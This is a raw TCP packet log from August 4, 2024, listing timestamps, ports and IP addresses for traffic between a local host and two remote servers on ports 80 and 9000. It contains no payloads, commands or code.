Aug 4, 2024 12:55:10.939723015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.939747095 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.946181059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946192026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946201086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946223021 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.946238995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.946372986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946382999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946393967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946403980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946412086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.946422100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.946422100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.947803974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.947846889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.947850943 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.947856903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.947892904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.947974920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.947984934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.947993994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948021889 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.948115110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948126078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948137045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948148966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948163986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.948184967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.948249102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948292017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.948308945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948321104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948331118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.948355913 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.955660105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955707073 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.955754995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955764055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955809116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.955833912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955842972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955882072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.955899954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955909967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955919027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.955941916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.963607073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963618040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963629007 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963668108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.963701010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.963726997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963737965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963753939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963763952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.963781118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.963804007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.966159105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966170073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966212988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.966259956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966270924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966281891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966291904 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966310978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.966325045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.966427088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966437101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.966481924 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.968735933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968791008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968802929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968832970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.968959093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968970060 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968980074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.968991041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.969002008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.969023943 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.972479105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972533941 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.972551107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972562075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972604036 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.972695112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972706079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972718000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972728968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.972754955 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.972778082 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.981689930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981698990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981709003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981719017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981729031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981739044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981749058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981753111 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.981802940 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.981829882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981839895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981849909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981859922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981870890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981872082 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.981882095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981890917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.981893063 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.981933117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.986618996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986660957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986670971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986706018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.986783981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986826897 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.986836910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986846924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986857891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986865997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.986890078 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.986902952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.997442961 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997520924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997531891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997632027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997642994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997656107 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.997670889 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.997756004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997766018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.997800112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.001451015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001498938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.001498938 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001509905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001553059 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.001674891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001686096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001701117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001710892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.001725912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.001761913 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020277977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020298958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020309925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020344973 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020417929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020435095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020486116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020525932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020538092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020548105 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020560980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020570993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020574093 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020586967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020612001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020843029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020854950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020865917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020876884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.020893097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.020906925 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.027632952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027683020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027693987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027770996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.027836084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027847052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027858019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.027918100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.027971983 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033710957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033723116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033762932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.033809900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033847094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033853054 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.033911943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033921957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033932924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.033958912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.033981085 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.034034967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035028934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035063982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035073996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035075903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035110950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035191059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035202026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035212040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035238028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035310984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035357952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035541058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035600901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035612106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035645008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035727978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035738945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035748959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035763025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.035773993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.035795927 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.055438995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055495977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055505991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055604935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055615902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055619001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.055619001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.055732965 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.055742025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055753946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055763960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055774927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.055829048 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056015968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056029081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056071997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056082010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056093931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056104898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056117058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056127071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056128979 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056159019 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056425095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056437016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056448936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056461096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056466103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056493044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056653976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056699991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056715965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056726933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056761026 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056880951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056891918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056901932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056912899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.056931019 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.056969881 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.060187101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060225964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060235977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060272932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.060352087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060364008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060374022 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060385942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060401917 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.060426950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.060533047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.060578108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.069538116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069550037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069560051 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069591045 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.069679976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069690943 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069706917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069716930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:11.069725990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.069739103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:11.121876001 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:15.732254028 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:15.737036943 CEST	9000	49708	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:20.920111895 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:20.924998999 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:20.925108910 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:20.925123930 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:20.929857016 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:21.911060095 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:21.911113977 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:21.911144018 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:21.911154985 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:21.911190987 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:21.911221981 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.052649021 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.052769899 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.052781105 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.052829981 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.052839994 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.052856922 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.052934885 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.200193882 CEST	49708	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.205125093 CEST	9000	49708	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270152092 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270164013 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270174026 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270309925 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.270353079 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270364046 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270373106 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270512104 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.270728111 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270736933 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270802021 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.270874977 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270936966 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270946026 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.270998955 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.271296978 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.271347046 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.271361113 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.325094938 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.493426085 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493470907 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493480921 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493655920 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.493662119 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493670940 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493714094 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.493853092 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493860960 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.493911028 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.494003057 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494051933 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.494060040 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494206905 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494255066 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.494263887 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494436979 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494487047 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:22.494488955 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494498968 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:22.494544029 CEST	49717	9000	192.168.2.5	154.198.53.117
